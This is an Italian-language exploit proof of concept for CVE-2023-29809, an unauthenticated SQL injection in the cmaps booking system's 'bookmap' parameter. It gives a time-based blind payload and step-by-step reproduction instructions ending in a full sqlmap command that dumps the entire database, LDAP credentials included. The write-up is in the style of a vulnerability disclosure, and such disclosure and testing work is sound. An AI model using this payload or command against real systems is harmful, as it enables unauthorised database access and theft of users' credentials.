
Exploit proof-of-concept per CVE-2023-29809: SQL injection non autenticata nel sistema di prenotazione cmaps. Dimostra l'injection blind basata sul tempo e fornisce il comando sqlmap per l'estrazione del database.
Descrizione:
La vulnerabilità trovata è una SQL injection. Il parametro bookmap è vulnerabile. Visitando la pagina: http://192.168.0.56/rest/booking/index.php?mode=list&bookmap=test otteniamo la normale risposta JSON. Tuttavia, se un singolo apice viene aggiunto al valore del parametro bookmap, otteniamo un messaggio di errore:
<b>Warning</b>: mysqli_num_rows() expects parameter 1 to be mysqli_result, bool given in <b>/var/www/html/rest/booking/index.php</b> on line <b>152</b><br />
Ora, se vengono aggiunti due apici singoli, otteniamo la risposta normale senza errori. Ciò conferma l'opportunità di SQL injection. Per provare effettivamente la SQL injection, alleghiamo il seguente payload:
'-(select*from(select+sleep(2)+from+dual)a)--+
La pagina attenderà per due secondi. Questo conferma la SQL injection.
Passaggi per riprodurre:
Invia il seguente payload per testare la vulnerabilità: '-(select*from(select+sleep(2)+from+dual)a)--+
Se il sito ha atteso due secondi, esegui il seguente comando sqlmap per scaricare l'intero database inclusi i ldap credentials.
python3 sqlmap.py -u "http://<IP>/rest/booking/index.php?mode=list&bookmap=test*" --random-agent --level 5 --risk 3 --batch --timeout=10 --drop-set-cookie -o --dump
Un ringraziamento speciale va a iCaotix che mi ha aiutato notevolmente nell'impostazione dell'ambiente e nel debugging del mio payload.
Guarda il tempo di risposta.
